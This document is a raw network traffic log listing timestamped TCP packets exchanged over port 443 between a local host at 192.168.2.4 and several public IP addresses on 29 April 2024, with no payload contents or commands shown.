Apr 29, 2024 02:01:34.779443026 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.779459953 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.780000925 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.780033112 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.780040979 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.780051947 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.780061007 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.780082941 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.780942917 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.780991077 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.781018019 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.781028986 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.781049013 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.781949043 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.781981945 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.782001019 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.782010078 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.782036066 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.782943010 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.782984018 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.783000946 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.783011913 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.783042908 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.783885002 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.783915997 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.783931017 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.783941031 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.783957958 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.784787893 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.784822941 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.784846067 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.784856081 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.784878016 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.826615095 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.826648951 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.826689959 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.826708078 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.826725006 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.828321934 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.828387022 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.828401089 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.828434944 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.859483004 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.859507084 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.859546900 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.859566927 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.859586954 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.877370119 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.877410889 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.877455950 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.877476931 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.877494097 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.889394999 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.889447927 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.889796972 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.889842987 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.890445948 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.890491962 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.890728951 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.890779018 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.890786886 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.890881062 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.890919924 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.891901970 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.891917944 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.892234087 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.892252922 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.892290115 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.892311096 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.892332077 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.895996094 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.896060944 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.896075964 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.896089077 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.896121025 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.900147915 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.900166988 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.116481066 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.116508007 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.116560936 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.116808891 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.116822958 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.117424011 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.117480993 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.117634058 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.118076086 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.118087053 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.227379084 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:35.227421045 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:35.227483988 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:35.230865955 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:35.230887890 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:35.289952040 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:35.290007114 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:35.290750027 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:35.291122913 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:35.291136026 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:35.326102972 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:35.326142073 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:35.326296091 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:35.327171087 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:35.327183008 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:35.340728045 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.341321945 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.341341972 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.342147112 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.342509031 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.342705965 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.342789888 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.346524954 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.346748114 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.346774101 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.347100973 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.347443104 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.347520113 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.347579002 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.392116070 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.413913965 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:35.460113049 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.462670088 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.541337967 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:35.541781902 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:35.541798115 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:35.542860985 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:35.542932987 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:35.563340902 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:35.566168070 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:35.566191912 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:35.567339897 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:35.567440987 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:35.613758087 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:35.625473976 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:35.625502110 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:35.628449917 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:35.628534079 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:35.634946108 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.635010004 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.635044098 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.635077000 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.635090113 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.635109901 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.635127068 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.638108015 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.638164043 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.638180971 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.641810894 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.641954899 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.641971111 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.645503998 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.645550013 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.645565033 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.649086952 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.649152994 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.649164915 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.652756929 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.652817011 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.652831078 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.656410933 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.656466007 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.656478882 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.660202980 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.660259008 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.660270929 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.667640924 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.667692900 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.667706966 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.667726040 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.667773008 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.731977940 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.732095957 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.732189894 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.732223034 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.732359886 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.732392073 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.732414007 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.732420921 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.732701063 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.735656977 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.739336014 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.739371061 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.739424944 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.739453077 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.739546061 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.742976904 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.746721029 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.746792078 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.746807098 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.750519037 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.750564098 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.750580072 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.754062891 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.754143953 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.754158020 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.757636070 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.757762909 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.757774115 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.761266947 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.761341095 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.761353016 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.768557072 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.768599033 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.768667936 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.768696070 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.771444082 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.772202969 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.812941074 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.812968969 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.812974930 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.812985897 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.813025951 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.813210964 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:35.813210964 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:35.813235044 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.813249111 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:35.813294888 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:35.853014946 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.853054047 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.853202105 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.853202105 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.853233099 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.853245974 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.853272915 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.870652914 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.870690107 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.870697975 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.870723009 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.870728016 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.870750904 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.870767117 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.870774984 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.875148058 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.875215054 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:35.875228882 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.875279903 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:35.875328064 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:37.667015076 CEST	49763	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:37.667038918 CEST	443	49763	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:37.673069000 CEST	49764	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:37.673105001 CEST	443	49764	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:37.919891119 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:37.920087099 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:37.920182943 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:37.920234919 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:37.920249939 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:37.920608997 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:37.920619965 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:37.920654058 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:37.920670986 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:37.920700073 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:37.920711040 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:37.920871973 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.043472052 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.043488026 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.043494940 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.077549934 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.077601910 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.077651978 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.077652931 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.077676058 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.077714920 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.079802036 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.082339048 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.082376957 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.082381964 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.082400084 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.082436085 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.084898949 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.087457895 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.087488890 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.087510109 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.087524891 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.087560892 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.090035915 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.092550039 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.092588902 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.092602015 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.095227957 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.095273018 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.095285892 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.097785950 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.097841024 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.097852945 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.100253105 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.100300074 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.100312948 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.102902889 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.102955103 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.102967024 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.105411053 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.105463028 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.105475903 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.110562086 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.110586882 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.110624075 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.110636950 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.110677004 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.113164902 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.128160000 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.128263950 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.165049076 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165061951 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165101051 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165117979 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.165121078 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165128946 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165152073 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165169001 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.165174007 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165189028 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.165313005 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165321112 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165340900 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165349007 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165354013 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165354967 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.165366888 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165385008 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.165388107 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.165405989 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.187263966 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.187316895 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.187318087 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.187335014 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.187374115 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.188278913 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.189601898 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.189645052 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.189656019 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.192199945 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.192239046 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.192250013 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.197316885 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.197343111 CEST	443	49772	104.18.42.227	192.168.2.4
